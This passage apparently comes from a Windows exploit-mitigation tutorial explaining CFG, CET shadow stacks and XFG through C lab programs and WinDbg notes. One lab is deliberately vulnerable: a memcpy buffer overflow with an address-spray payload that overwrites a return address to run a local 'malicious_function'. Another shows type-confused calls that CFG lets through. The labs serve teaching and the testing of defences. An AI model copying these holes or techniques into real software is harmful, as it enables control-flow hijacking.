validity and type-hash metadata.\n\nAddress Space (User Mode):     CFG Bitmap:\n┌────────────────────────┐    ┌──────────────┐\n│ 0x00000000`00000000    │--->│ Bit 0        │\n│ 0x00000000`00000010    │--->│ Bit 1        │\n│ 0x00000000`00000020    │--->│ Bit 2        │\n│ ...                    │    │ ...          │\n│ 0x00007FFF`FFFFFFFF    │--->│ Bit N        │\n└────────────────────────┘    └──────────────┘\n\nBitmap Size Calculation (x64 user mode):\n- User address space: ~128TB (0x7FFFFFFFFFFF)\n- Granularity: 16 bytes per bit\n- Bits needed: 128TB \u002F 16 = 8TB bits = 1TB bytes\n- Actual: Sparse, on-demand allocation\n\nBitmap Lookup Algorithm:\nbit_index = target_address >> 4  (divide by 16)\nbyte_index = bit_index >> 3      (divide by 8)\nbit_offset = bit_index & 7       (mod 8)\nis_valid = (bitmap[byte_index] >> bit_offset) & 1\n```\n\n**CFG Dispatch Function Internals**:\n\n```c\n\u002F\u002F Simplified __guard_check_icall_fptr implementation\n\u002F\u002F NOTE: This is a conceptual simplification. The actual bitmap pointer\n\u002F\u002F comes from ntdll internals, not directly from PEB.\nvoid __fastcall __guard_check_icall_fptr(void *target) {\n    \u002F\u002F Get bitmap base (simplified — actual source is ntdll internal)\n    ULONG_PTR bitmap_base = NtCurrentPeb()->CfgBitMap;\n\n    \u002F\u002F Calculate bit position\n    ULONG_PTR bit_index = (ULONG_PTR)target >> 4;\n    ULONG_PTR byte_index = bit_index >> 3;\n    ULONG bit_offset = bit_index & 7;\n\n    \u002F\u002F Check if valid\n    BYTE bitmap_byte = *(BYTE*)(bitmap_base + byte_index);\n    if (!((bitmap_byte >> bit_offset) & 1)) {\n        \u002F\u002F Invalid target - terminate\n        __fastfail(FAST_FAIL_GUARD_ICALL_CHECK_FAILURE);\n        \u002F\u002F Process dies immediately, no exception handling\n    }\n    \u002F\u002F Valid - return and allow call\n}\n```\n\n**CFG Failure Codes**:\n\n```bash\n# When CFG blocks a call, it uses __fastfail()\n# __fastfail executes: int 0x29 (traps directly to kernel)\n# Kernel kills the process immediately — no user-mode handler runs\n\n# Process exit code: 0x80000003 (STATUS_BREAKPOINT)\n# This is the ACTUAL exit code you see from GetExitCodeProcess()\n# NOTE: NOT 0xC0000409 — that's the old-style \u002FGS cookie failure.\n# __fastfail via int 0x29 produces STATUS_BREAKPOINT.\n\n# Fast Fail Codes passed via ECX to int 0x29 (winnt.h):\nFAST_FAIL_GUARD_ICALL_CHECK_FAILURE = 10  # CFG indirect call check failed\nFAST_FAIL_GUARD_WRITE_CHECK_FAILURE = 11  # CFG write check (rare)\nFAST_FAIL_GUARD_JUMP_CHECK_FAILURE  = 12  # CFG jump check\nFAST_FAIL_GUARD_SS_FAILURE          = 37  # CET shadow stack mismatch\n\n# In WinDbg after CFG kill:\n!analyze -v\n# FAILURE_BUCKET_ID: FAIL_FAST_GUARD_ICALL_CHECK_FAILURE\n# Look for: SubCode = 10 (0xA) in the exception parameters\n\n# Exception record:\n.exr -1\n# ExceptionCode: 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN)\n# ExceptionInformation[0]: fast fail code (10 = CFG, 37 = CET)\n# BUT the PROCESS EXIT CODE is 0x80000003 (STATUS_BREAKPOINT)\n# This distinction matters when checking exit codes in exploits!\n\n# Verifying from command line:\necho %errorlevel%\n# Or in Python: p.returncode & 0xFFFFFFFF == 0x80000003\n```\n\n**Populating the CFG Bitmap**:\n\n```text\nWhen is a bit SET in the CFG bitmap?\n\nAt Image Load Time:\n1. Loader reads Guard CF Function Table from PE\n   - This table is created by the linker.\n   - It includes all address-taken functions *except* those marked with `__declspec(guard(suppress))`.\n2. For each address in table:\n   - Calculate bit position\n   - Set bit in bitmap\n3. Export table entries also marked valid\n4. DLL entry points marked valid\n\nPE Header Fields:\n- GuardCFCheckFunctionPointer\n- GuardCFDispatchFunctionPointer\n- GuardCFFunctionTable (array of valid targets)\n- GuardCFFunctionCount\n- GuardFlags\n\nViewing in PE:\ndumpbin \u002Floadconfig myapp.exe\n# Look for:\n# Guard CF address of check-function pointer\n# Guard CF function table\n# Guard CF function count\n```\n\n**Compiler Instrumentation**:\n\n```c\n\u002F\u002F What the compiler does with \u002Fguard:cf\n\n\u002F\u002F Original code:\nvoid (*callback)(int);\ncallback = get_function_pointer();\ncallback(42);\n\n\u002F\u002F Compiled with CFG:\nvoid (*callback)(int);\ncallback = get_function_pointer();\n\n\u002F\u002F Compiler inserts:\n__guard_check_icall_fptr(callback);  \u002F\u002F \u003C-- Added\ncallback(42);\n\n\u002F\u002F In assembly (x64):\nmov     rax, [rbp+callback]\nmov     rcx, rax                    ; target in rcx\ncall    [__guard_check_icall_fptr]  ; validate\ncall    rax                         ; call if valid\n```\n\n**CFG Export Suppression**:\n\n```c\n\u002F\u002F Some functions should NOT be valid CFG targets\n\u002F\u002F Use __declspec(guard(suppress))\n\n__declspec(guard(suppress))\nvoid internal_gadget_like_function() {\n    \u002F\u002F This function won't be in CFG bitmap\n    \u002F\u002F Attackers can't call it via indirect call\n}\n\n\u002F\u002F Useful for functions that look like ROP gadgets\n\u002F\u002F or have dangerous functionality\n```\n\n**Testing CFG — Valid vs Invalid Targets**:\n\n```c\n\u002F\u002F cfg_test.c\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\n\u002F\u002F Valid CFG Target 1\nvoid legitimate_function() {\n    printf(\"[*] Legitimate function called\\n\");\n    fflush(stdout);\n}\n\n\u002F\u002F Valid CFG Target 2\nvoid another_function() {\n    printf(\"[*] Another function called\\n\");\n    fflush(stdout);\n}\n\n\u002F\u002F Invalid CFG Target (Suppressed)\n\u002F\u002F This function exists and is executable, but we tell the compiler\n\u002F\u002F NOT to add it to the CFG valid target bitmap.\n__declspec(guard(suppress))\nvoid suppressed_function() {\n    printf(\"[!] EXPLOIT SUCCESS: Suppressed function executed!\\n\");\n    printf(\"[!] This should ONLY happen if CFG is disabled.\\n\");\n    fflush(stdout);\n}\n\nint main(int argc, char **argv) {\n    void (*func_ptr)();\n\n    \u002F\u002F Test 1: Call valid function\n    printf(\"[*] Test 1: Calling legitimate_function (valid)\\n\");\n    fflush(stdout);\n    func_ptr = legitimate_function;\n    func_ptr();\n\n    \u002F\u002F Test 2: Redirect to another valid function\n    \u002F\u002F CFG Limitation: It validates \"is this A start of A function\",\n    \u002F\u002F not \"is this the INTENDED function\".\n    printf(\"[*] Test 2: Redirecting to another_function (valid)\\n\");\n    fflush(stdout);\n    func_ptr = another_function;\n    func_ptr();\n\n    \u002F\u002F Test 3: Call suppressed function\n    \u002F\u002F - Memory: Valid (it's a real function)\n    \u002F\u002F - CFG Bitmap: Invalid (suppressed)\n    \u002F\u002F This distinguishes CFG protection from generic Access Violations.\n    printf(\"[*] Test 3: Calling suppressed_function (invalid CFG target)\\n\");\n    fflush(stdout);\n\n    \u002F\u002F Use volatile to prevent the compiler from optimizing away the indirect call\n    void (* volatile vfunc_ptr)() = suppressed_function;\n    vfunc_ptr();  \u002F\u002F With CFG: Terminate (__fastfail). Without CFG: Execute.\n\n    printf(\"[-] Should not reach here if CFG is working\\n\");\n    return 0;\n}\n```\n\n**Compile & Run**:\n\n```bash\n# With CFG\ncl \u002FZi \u002Fguard:cf src\\cfg_test.c \u002FFe:bin\\cfg_test.exe \u002Flink \u002Fguard:cf \u002FDEBUG\n.\\bin\\cfg_test.exe\n#[*] Test 1: Calling legitimate_function (valid)\n#[*] Legitimate function called\n#[*] Test 2: Redirecting to another_function (valid)\n#[*] Another function called\n#[*] Test 3: Calling suppressed_function (invalid CFG target)\n\n# Without CFG\ncl \u002FZi src\\cfg_test.c \u002FFe:bin\\cfg_test_nocfg.exe \u002Flink \u002FDEBUG\n.\\bin\\cfg_test_nocfg.exe\n#[*] Test 1: Calling legitimate_function (valid)\n#[*] Legitimate function called\n#[*] Test 2: Redirecting to another_function (valid)\n#[*] Another function called\n#[*] Test 3: Calling suppressed_function (invalid CFG target)\n#[!] EXPLOIT SUCCESS: Suppressed function executed!\n#[!] This should ONLY happen if CFG is disabled.\n#[-] Should not reach here if CFG is working\n```\n\n### Intel Control-Flow Enforcement Technology (CET)\n\n**What is CET?**:\n\n- Hardware-based control-flow integrity\n- Two components: Shadow Stack + Indirect Branch Tracking\n- Requires CPU support (Intel 11th gen+ \u002F AMD Zen 3+)\n- Available on Windows 11, increasingly enabled by default on 24H2+\n- **Important**: Full enforcement requires:\n  - Supported CPU with CET capability\n  - Binary compiled with `\u002FCETCOMPAT` flag (CETCOMPAT bit in PE header)\n  - Process mitigation policy enabling UserShadowStack\n  - Verify actual status via `Get-ProcessMitigation -Name \u003Cprocess>` (Warning: Shows policy, not hardware enforcement)\n\n**Shadow Stack**:\n\n```text\nRegular Stack:        Shadow Stack (Hardware):\n┌────────────┐       ┌────────────┐\n│ Local vars │       │            │\n├────────────┤       ├────────────┤\n│ Saved RBP  │       │ Return addr│ \u003C- Copy of return address\n├────────────┤       └────────────┘\n│ Return addr│ \u003C- User-accessible   Hardware-protected\n└────────────┘\n\nOn function call:\n- Regular return address pushed to stack\n- ALSO pushed to shadow stack (by CPU)\n\nOn function return:\n- Pop return address from regular stack\n- Pop from shadow stack\n- Compare both\n- If mismatch -> terminate\n```\n\n**Benefits**:\n\n- Prevents ROP attacks\n- Return address cannot be overwritten\n- Hardware enforcement (can't bypass)\n\n**Shadow Stack in Action**:\n\n```c\n\u002F\u002F ROP attempt\nvoid vulnerable(char *input) {\n    char buffer[64];\n    strcpy(buffer, input);  \u002F\u002F Overflow\n}\n\n\u002F\u002F Without CET:\n\u002F\u002F Overflow overwrites return address\n\u002F\u002F ROP chain executes\n\n\u002F\u002F With CET:\n\u002F\u002F Overflow overwrites stack return address\n\u002F\u002F But shadow stack still has original\n\u002F\u002F On return: mismatch detected -> crash\n```\n\n**Indirect Branch Tracking (IBT)**:\n\n```asm\n; Valid indirect jump target must have ENDBR instruction\n\n; Without IBT:\njmp rax  ; Jumps anywhere\n\n; With IBT:\njmp rax  ; Target MUST start with ENDBR64\u002FENDBR32\n\n; Valid target:\ntarget_function:\n    endbr64     ; Required for indirect jumps\n    push rbp\n    mov rbp, rsp\n    ...\n\n; Invalid target:\nbad_gadget:\n    pop rdi     ; No ENDBR = crash if targeted\n    ret\n```\n\n**Testing CET**:\n\n```bash\n# Check if CPU supports CET\nGet-CimInstance Win32_Processor | Select-Object Name\n\n# Check if process has CET\nGet-ProcessMitigation -Name bin\\cet_shadow.exe | findstr \"UserShadowStack\"\n```\n\n**Lab: Shadow Stack Protection vs Return Address Overwrite**\n\nThis lab demonstrates CET shadow stack protection by compiling a vulnerable program\nwith and without CET support, then attempting to overwrite the return address.\n\nCreate `src\\cet_shadow_test.c`:\n\n```c\n\u002F\u002F cet_shadow_test.c\n\u002F\u002F Demonstrates CET Shadow Stack protection against return address overwrites.\n\u002F\u002F\n\u002F\u002F Without CET: Buffer overflow overwrites return address, executes malicious_function\n\u002F\u002F With CET: Buffer overflow overwrites stack return, but shadow stack has original\n\u002F\u002F           -> Mismatch detected on RET -> #CP exception -> process killed\n\u002F\u002F\n\u002F\u002F Compile WITHOUT CET: cl \u002FZi \u002FGS- src\\cet_shadow_test.c \u002FFe:bin\\cet_no_shadow.exe \u002Flink \u002FDEBUG\n\u002F\u002F Compile WITH CET:    cl \u002FZi \u002FGS- \u002Fguard:cf \u002Fcetcompat src\\cet_shadow_test.c \u002FFe:bin\\cet_shadow.exe \u002Flink \u002Fguard:cf \u002FCETCOMPAT \u002FDEBUG\n\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Cstdlib.h>\n\n\u002F\u002F Malicious function - target for redirection\nvoid malicious_function() {\n    \u002F\u002F Use puts() instead of printf() to be safer against stack misalignment\n    \u002F\u002F printf uses vector instructions (movaps) which crash if RSP isn't 16-byte aligned\n    puts(\"\");\n    puts(\"PWNED: malicious_function executed!\");\n    puts(\"Return address was successfully overwritten\");\n    puts(\"This proves CET shadow stack is NOT enabled\");\n    puts(\"\");\n\n    \u002F\u002F Exit cleanly to avoid crashing on return (since stack is trashed)\n    ExitProcess(0);\n}\n\nvoid legitimate_function() {\n    printf(\"[*] This is the legitimate function (should never print in exploit)\\n\");\n}\n\nvoid vulnerable_function(char *input, size_t input_len) {\n    char buffer[64];\n\n    printf(\"[*] Buffer at: %p\\n\", buffer);\n    printf(\"[*] Input length: %zu bytes\\n\", input_len);\n    printf(\"[*] Calling memcpy (vulnerable)...\\n\");\n    fflush(stdout);\n\n    \u002F\u002F VULNERABILITY: No bounds checking!\n    memcpy(buffer, input, input_len);\n\n    printf(\"[+] memcpy completed\\n\");\n    printf(\"[*] Returning from vulnerable_function...\\n\");\n    fflush(stdout);\n\n    \u002F\u002F On return:\n    \u002F\u002F - Without CET: Uses overwritten return address from stack\n    \u002F\u002F - With CET: Compares stack return vs shadow stack return\n    \u002F\u002F             If mismatch -> #CP exception -> __fastfail\n}\n\nvoid print_addresses() {\n    printf(\"\\n[*] Function Addresses:\\n\");\n    printf(\"  legitimate_function  = %p\\n\", (void*)legitimate_function);\n    printf(\"  malicious_function   = %p\\n\", (void*)malicious_function);\n    printf(\"  vulnerable_function  = %p\\n\\n\", (void*)vulnerable_function);\n    fflush(stdout);\n}\n\nint main(int argc, char **argv) {\n    \u002F\u002F Disable buffering to ensure we see output before any crash\n    setbuf(stdout, NULL);\n\n    printf(\"CET Shadow Stack Protection Test\\n\");\n    printf(\"--------------------------------\\n\\n\");\n\n    print_addresses();\n\n    if (argc \u003C 2) {\n        printf(\"Usage: %s \u003Cmode>\\n\", argv[0]);\n        printf(\"  mode:\\n\");\n        printf(\"  0     - No overflow (normal execution)\\n\");\n        printf(\"  1     - Overwrite return address (trigger exploit)\\n\");\n        return 1;\n    }\n\n    \u002F\u002F Check mode\n    int mode = 0;\n    if (argc > 1) {\n        mode = atoi(argv[1]);\n    }\n\n    if (mode == 0) {\n        printf(\"[*] Mode 0: Normal execution (no overflow)\\n\");\n        char safe_input[32] = \"Hello, World!\";\n        vulnerable_function(safe_input, strlen(safe_input));\n        printf(\"[+] Returned safely from vulnerable_function\\n\");\n        legitimate_function();\n    }\n    else {\n        printf(\"[*] Mode 1: Exploit mode - will attempt return address overwrite\\n\");\n        printf(\"[!] Expected: WITHOUT CET -> malicious_function executes\\n\");\n        printf(\"[!] Expected: WITH CET -> process killed by #CP exception\\n\\n\");\n\n        \u002F\u002F AGGRESSIVE SPRAY: Fill the entire payload with the target address.\n        \u002F\u002F x64 stack frames can be large and variable. We'll fill enough to cover\n        \u002F\u002F any reasonable buffer-to-return-address distance.\n        char payload[256];\n        ULONG_PTR target = (ULONG_PTR)malicious_function;\n\n        \u002F\u002F Fill the WHOLE buffer with the address (repeated)\n        \u002F\u002F This guarantees we hit the return address wherever it is\n        for (size_t i = 0; i \u003C sizeof(payload); i += sizeof(target)) {\n            memcpy(&payload[i], &target, sizeof(target));\n        }\n\n        printf(\"[*] Crafted payload:\\n\");\n        printf(\"  Strategy: FULL SPRAY (offsets 0-256)\\n\");\n        printf(\"  Target: %p (malicious_function)\\n\", (void*)target);\n        printf(\"  Total payload: %zu bytes\\n\\n\", sizeof(payload));\n\n        vulnerable_function(payload, sizeof(payload));\n\n        printf(\"[*] If you see this, CET shadow stack blocked the exploit!\\n\");\n        legitimate_function();\n    }\n\n    printf(\"\\n[+] Program completed normally\\n\");\n    return 0;\n}\n```\n\n**Compile & Run**:\n\n```bash\ncl \u002FZi \u002FGS- src\\cet_shadow_test.c \u002FFe:bin\\cet_no_shadow.exe \u002Flink \u002FDEBUG\n.\\bin\\cet_no_shadow.exe 0\n#[*] Mode 0: Normal execution (no overflow)\n#[*] Buffer at: 000000893B77F9F0\n#[*] Input length: 13 bytes\n#[*] Calling memcpy (vulnerable)...\n#[+] memcpy completed\n#[*] Returning from vulnerable_function...\n#[+] Returned safely from vulnerable_function\n#[*] This is the legitimate function (should never print in exploit)\n\n#[+] Program completed normally\n\n.\\bin\\cet_no_shadow.exe 1\n#[PWNED: malicious_function executed!]\n#[Return address was successfully overwritten]\n#[This proves CET shadow stack is NOT enabled]\n\ncl \u002FZi \u002FGS- \u002Fguard:cf \u002Fcetcompat src\\cet_shadow_test.c \u002FFe:bin\\cet_shadow.exe \u002Flink \u002Fguard:cf \u002FCETCOMPAT \u002FDEBUG\n.\\bin\\cet_shadow.exe 1\n#[*] Mode 1: Exploit mode - will attempt return address overwrite\n#[!] Expected: WITHOUT CET -> malicious_function executes\n#[!] Expected: WITH CET -> process killed by #CP exception\n```\n\n> [!WARNING]\n> **Why did my CET test fail in a VM?**\n>\n> If you see \"UserShadowStack: ON\" but the exploit still works, **your VM likely does not emulate the required hardware**.\n>\n> CET requires Intel 11th Gen+ \u002F AMD Zen 3+ physical CPUs _AND_ hypervisor support.\n>\n> - **VirtualBox**: Does NOT support CET pass-through (as of v7.0).\n> - **VMWare**: Requires \"Virtualize Intel VT-x\u002FEPT\" and specific config.\n> - **Hyper-V**: Requires Nested Virtualization enabled correctly.\n>\n> Without actual hardware `SHSTK` instructions exposed to the guest OS, Windows silently falls back to software-only mode (which does nothing for ROP\u002Fbuffer overflows), even if the policy says \"ON\".\n\n#### Deep Dive: CET Shadow Stack Hardware Implementation\n\n**Shadow Stack CPU Instructions**:\n\n```asm\n; New instructions added by CET:\n\n; INCSSP - Increment Shadow Stack Pointer\nincssp rax      ; Advance SSP by rax * 8 bytes\n                ; Used to skip frames during unwinding\n\n; RDSSP - Read Shadow Stack Pointer\nrdssp rax       ; Read current SSP into rax\n                ; Allows software to inspect shadow stack\n\n; SAVEPREVSSP - Save previous SSP\nsaveprevssp     ; Saves SSP on shadow stack\n                ; Used for stack switching\n\n; RSTORSSP - Restore SSP\nrstorssp [mem]  ; Restore SSP from memory\n                ; Used when switching back\n\n; WRSS - Write to Shadow Stack\nwrss [rsp], rax ; Write rax to shadow stack at rsp\n                ; Requires special privileges\n\n; CLRSSBSY - Clear shadow stack busy flag\nclrssbsy [mem]  ; Clear busy bit in shadow stack token\n```\n\n**Shadow Stack Memory Region**:\n\n```text\nShadow Stack Layout:\n--------------------\n\nRegular Stack:                    Shadow Stack:\nHigh Address                      High Address (SSP starts here)\n┌────────────────────┐           ┌────────────────────┐\n│ Return addr (main) │           │ Return addr (main) │ ← Token\n├────────────────────┤           ├────────────────────┤\n│ Saved RBP          │           │ Return addr (func1)│\n├────────────────────┤           ├────────────────────┤\n│ Local vars         │           │ Return addr (func2)│\n├────────────────────┤           ├────────────────────┤\n│ Return addr (func1)│           │         ...        │\n├────────────────────┤           └────────────────────┘\n│ ...                │           ^\n└────────────────────┘           SSP (Shadow Stack Pointer)\n^\nRSP\n\nKey Differences:\n- Shadow stack ONLY stores return addresses\n- No local variables, no saved registers\n- Hardware manages writes (software can only read)\n- Separate memory region with special protections\n```\n\n**CET Exception Handling**:\n\n```text\nWhen CET Detects Mismatch:\n--------------------------\n\n1. CALL instruction:\n   - CPU pushes return address to regular stack\n   - CPU pushes return address to shadow stack (automatically)\n\n2. RET instruction:\n   - CPU pops return address from regular stack\n   - CPU pops return address from shadow stack\n   - CPU COMPARES both values\n\n3. If mismatch:\n   - CPU raises #CP (Control Protection Exception)\n   - Exception code: STATUS_CONTROL_STACK_VIOLATION (0xC0000407)\n   - OS converts to __fastfail(FAST_FAIL_GUARD_SS_FAILURE = 37)\n   - __fastfail executes int 0x29 -> kernel kills process\n   - Process exit code: 0x80000003 (STATUS_BREAKPOINT)\n   - NOTE: The exception code (0xC0000407) and process exit code\n     (0x80000003) are DIFFERENT — same mechanism as CFG failures.\n\n4. In WinDbg:\n   !analyze -v\n   # Shows CONTROL_PROTECTION_VIOLATION\n   # Parameters indicate specific CET violation type\n   # SubCode = 37 (0x25) = FAST_FAIL_GUARD_SS_FAILURE\n   .exr -1\n   # ExceptionCode: 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN)\n   # ExceptionInformation[0]: 37 (shadow stack failure)\n```\n\n**Indirect Branch Tracking (IBT) Detail**:\n\n```asm\n; IBT requires ENDBR at valid branch targets\n\n; Compiler generates:\nmy_callback:\n    endbr64                 ; Must be first instruction!\n    push rbp\n    mov rbp, rsp\n    ; ... function body ...\n\n; On indirect branch:\ncall rax                    ; CPU sets TRACKER state to WAIT_FOR_ENDBR\n; At target:\nendbr64                     ; Clears TRACKER state, execution continues\n\n; If target lacks ENDBR:\n; CPU raises #CP (Control Protection Exception)\n\n; ENDBR64 encoding: F3 0F 1E FA\n; Just a fancy NOP on older CPUs (backward compatible)\n```\n\n### Kernel Shadow Stack\n\n**What is Kernel Shadow Stack?**:\n\n- Extends CET shadow stack protection to kernel mode\n- Requires VBS (Virtualization-Based Security) enabled\n- Hypervisor-enforced integrity - even kernel read\u002Fwrite can't bypass\n- Enabled by default on Windows 11 24H2 with supported hardware\n\n**Requirements**:\n\n- Intel 11th gen+ or AMD Zen 3+ CPU with CET support\n- VBS\u002FHVCI enabled\n- Windows 11 24H2 or later\n\n**Checking Kernel Shadow Stack**:\n\n```bash\n# Check if enabled\n# Look for value 5 in the output (Kernel-mode Hardware-enforced Stack Protection)\nGet-CimInstance -ClassName Win32_DeviceGuard -Namespace root\\Microsoft\\Windows\\DeviceGuard |\n    Select-Object -ExpandProperty SecurityServicesRunning\n# Output Reference:\n# 0 = None (Disabled)\n# 1 = Credential Guard\n# 2 = Memory Integrity (HVCI)\n# 5 = Kernel-mode Hardware-enforced Stack Protection (Shadow Stack)\n\n# Via msinfo32\nmsinfo32.exe\n# Look for: Kernel DMA Protection, Virtualization-based security\n```\n\n**Impact on Kernel Exploitation**:\n\n- ROP chains in kernel mode detected and blocked\n- Return address tampering causes immediate bugcheck\n- Significantly raises bar for kernel exploits\n\n### eXtended Flow Guard (XFG)\n\n**What is XFG?**:\n\n- Enhanced version of CFG\n- Validates function pointer types\n- Prevents type confusion attacks\n\n**XFG vs CFG Comparison**:\n\n| Feature           | CFG               | XFG                                                                    |\n| ----------------- | ----------------- | ---------------------------------------------------------------------- |\n| Validation        | Address in bitmap | Address + type signature                                               |\n| Granularity       | Function-level    | Call-site specific                                                     |\n| Bypass difficulty | Known bypasses    | Significantly harder                                                   |\n| Availability      | Windows 8.1+      | Windows 11 (metadata generated; enforcement rolling out incrementally) |\n\n**How XFG Works**:\n\n```c\n\u002F\u002F CFG check (simplified):\nif (bitmap[target >> 4] & (1 \u003C\u003C (target & 0xF))) {\n    call target;  \u002F\u002F Valid function address\n}\n\n\u002F\u002F XFG check (simplified):\nif (target_hash == expected_hash) {\n    call target;  \u002F\u002F Valid AND correct type signature\n}\n```\n\n**XFG Type Hashes**:\n\n- Compiler generates hash based on function prototype\n- Hash stored at function entry point (before ENDBR)\n- Runtime validates hash matches expected call signature\n\n**How XFG Improves CFG**:\n\n```c\n\u002F\u002F CFG only checks: is target a valid function?\n\u002F\u002F XFG also checks: does target match expected signature?\n\ntypedef void (*HandlerA)(int);\ntypedef void (*HandlerB)(char*);\n\nvoid process(HandlerA handler) {\n    handler(42);  \u002F\u002F Expects (int) parameter\n}\n\n\u002F\u002F Attack: Pass HandlerB with different signature\nHandlerB wrong_handler = get_wrong_handler();\n\n\u002F\u002F CFG: Allows (both are valid functions)\n\u002F\u002F XFG: Blocks (signature mismatch!)\n```\n\n**XFG Metadata**:\n\n- Each function pointer has associated metadata:\n  - Expected function signature hash\n  - Parameter count and types\n  - Return type\n- Before call:\n  - Check CFG bitmap (address valid?)\n  - Check XFG metadata (signature matches?)\n  - If both pass -> allow call\n\n**Understanding XFG Behavior**:\n\n```c\n\u002F\u002F xfg_concept.c — Type Confusion Demonstration (CFG vs XFG)\n\u002F\u002F Demonstrates that CFG allows type-confused calls between valid functions,\n\u002F\u002F while XFG (when enforced) would block them based on signature mismatch.\n\u002F\u002F\n\u002F\u002F Test modes:\n\u002F\u002F   1: Correct type call (always works)\n\u002F\u002F   2: Type-confused call (CFG allows, XFG would block)\n\u002F\u002F   3: Invalid address call (CFG blocks with __fastfail)\n\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\ntypedef void (*IntHandler)(int);\ntypedef void (*StrHandler)(char*);\ntypedef void (*NoArgHandler)(void);\n\nvoid int_handler(int x) {\n    printf(\"[*] int_handler called with: %d\\n\", x);\n    fflush(stdout);\n}\n\nvoid str_handler(char *s) {\n    \u002F\u002F Print pointer value (%p) instead of string (%s) to avoid Access Violation\n    \u002F\u002F when called with an integer (e.g., 42) during type confusion test.\n    printf(\"[*] str_handler called with: %p\\n\", (void*)s);\n    fflush(stdout);\n}\n\nvoid noarg_handler(void) {\n    printf(\"[*] noarg_handler called (no arguments)\\n\");\n    fflush(stdout);\n}\n\nvoid call_int_handler(IntHandler handler, int value) {\n    printf(\"[*] Calling through IntHandler pointer...\\n\");\n    fflush(stdout);\n    handler(value);\n}\n\nint main(int argc, char **argv) {\n    int test_mode = 1;\n    if (argc > 1) test_mode = atoi(argv[1]);\n\n    printf(\"[*] XFG Type Confusion Test\\n\");\n    printf(\"[*] int_handler at: %p\\n\", (void*)int_handler);\n    printf(\"[*] str_handler at: %p\\n\", (void*)str_handler);\n    printf(\"[*] noarg_handler at: %p\\n\\n\", (void*)noarg_handler);\n    fflush(stdout);\n\n    if (test_mode == 1) {\n        \u002F\u002F TEST 1: Correct type — always works\n        printf(\"[*] TEST 1: Correct type (IntHandler -> int_handler)\\n\");\n        IntHandler correct = int_handler;\n        call_int_handler(correct, 42);\n        printf(\"[+] Call succeeded (correct signature)\\n\");\n    }\n    else if (test_mode == 2) {\n        \u002F\u002F TEST 2: Type confusion — CFG allows, XFG would block\n        printf(\"[*] TEST 2: Type confusion (IntHandler -> str_handler)\\n\");\n        printf(\"[!] Casting StrHandler (char*) to IntHandler (int)\\n\");\n        printf(\"[!] CFG: Allows (both are valid function entries)\\n\");\n        printf(\"[!] XFG: Would block (signature mismatch)\\n\\n\");\n        fflush(stdout);\n\n        IntHandler confused = (IntHandler)str_handler;\n        call_int_handler(confused, 42);\n        printf(\"[+] Call succeeded — CFG is coarse-grained!\\n\");\n        printf(\"[!] str_handler received garbage (42 instead of char*)\\n\");\n    }\n    else if (test_mode == 3) {\n        \u002F\u002F TEST 3: Invalid address — CFG blocks\n        printf(\"[*] TEST 3: Invalid address (0xDEADBEEF)\\n\");\n        printf(\"[!] Not a valid function entry — CFG will block\\n\");\n        fflush(stdout);\n\n        IntHandler invalid = (IntHandler)0xDEADBEEF;\n        call_int_handler(invalid, 42);\n        printf(\"[-] Should not reach here\\n\");\n    }\n\n    fflush(stdout);\n    return 0;\n}\n```\n\n**Compile & Run**:\n\n```bash\ncl \u002FZi \u002Fguard:cf src\\xfg_concept.c \u002FFe:bin\\xfg_concept.exe \u002Flink \u002Fguard:cf \u002FDEBUG\n.\\bin\\xfg_concept.exe 1\n#[*] XFG Type Confusion Test\n#[*] int_handler at: 00007FF64B8C1C50\n#[*] str_handler at: 00007FF64B8C6670\n#[*] noarg_handler at: 00007FF64B8C5FE0\n\n#[*] TEST 1: Correct type (IntHandler -> int_handler)\n#[*] Calling through IntHandler pointer...\n#[*] int_handler called with: 42\n#[+] Call succeeded (correct signature)\n\n.\\bin\\xfg_concept.exe 2\n#[*] XFG Type Confusion Test\n#[*] int_handler at: 00007FF64B8C1C50\n#[*] str_handler at: 00007FF64B8C6670\n#[*] noarg_handler at: 00007FF64B8C5FE0\n\n#[*] TEST 2: Type confusion (IntHandler -> str_handler)\n#[!] Casting StrHandler (char*) to IntHandler (int)\n#[!] CFG: Allows (both are valid function entries)\n#[!] XFG: Would block (signature mismatch)\n\n#[*] Calling through IntHandler pointer...\n#[*] str_handler called with: 000000000000002A\n#[+] Call succeeded — CFG is coarse-grained!\n#[!] str_handler received garbage (42 instead of char*)\n\n# =========================================================================\n# NOTE: If XFG were strictly ENFORCED, the process would terminate silently\n# before printing the \"str_handler called with...\" line above.\n# The fact that it prints means XFG is in audit\u002Fpermissive mode or unsupported.\n# =========================================================================\n\n.\\bin\\xfg_concept.exe 3\n#[*] XFG Type Confusion Test\n#[*] int_handler at: 00007FF64B8C1C50\n#[*] str_handler at: 00007FF64B8C6670\n#[*] noarg_handler at: 00007FF64B8C5FE0\n\n#[*] TEST 3: Invalid address (0xDEADBEEF)\n#[!] Not a valid function entry — CFG will block\n#[*] Calling through IntHandler pointer...\n# NOTE: (Process terminated via __fastfail)\n\ndumpbin \u002Floadconfig bin\\xfg_concept.exe | findstr -i \"XFG\"\n#Dump of file bin\\xfg_concept.exe\n#    00000001400B7010 Guard XFG address of check-function pointer\n#    00000001400B7030 Guard XFG address of dispatch-function pointer\n#    00000001400B7040 Guard XFG address of dispatch-table-function pointer\n```\n\n> [!IMPORTANT]\n> **XFG Enforcement is OS-Level, Not Compiler-Level**: The compiler generates XFG metadata\n> (type hashes) when `\u002Fguard:cf` is used on recent MSVC versions. However, **whether XFG\n> type checking is actually enforced** depends on the Windows version and configuration.\n> On most current systems, Test 2 will SUCCEED because CFG is enforced (coarse-grained)\n> but XFG type validation is not yet widely enforced. XFG represents the **future direction**\n> of Windows CFI, where type-confused calls will be blocked.\n\n### Practical Exercise\n\n#### Task 1: CFG Coarse-Grained Analysis\n\nBuild a program that demonstrates BOTH what CFG blocks and what it allows:\n\n```c\n\u002F\u002F cfg_analysis.c — Task 1: Prove CFG's coarse-grained limitation\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\ntypedef int (*MathOp)(int, int);\n\nint add(int a, int b) { printf(\"[+] add(%d,%d) = %d\\n\", a, b, a+b); return a+b; }\nint sub(int a, int b) { printf(\"[+] sub(%d,%d) = %d\\n\", a, b, a-b); return a-b; }\nint 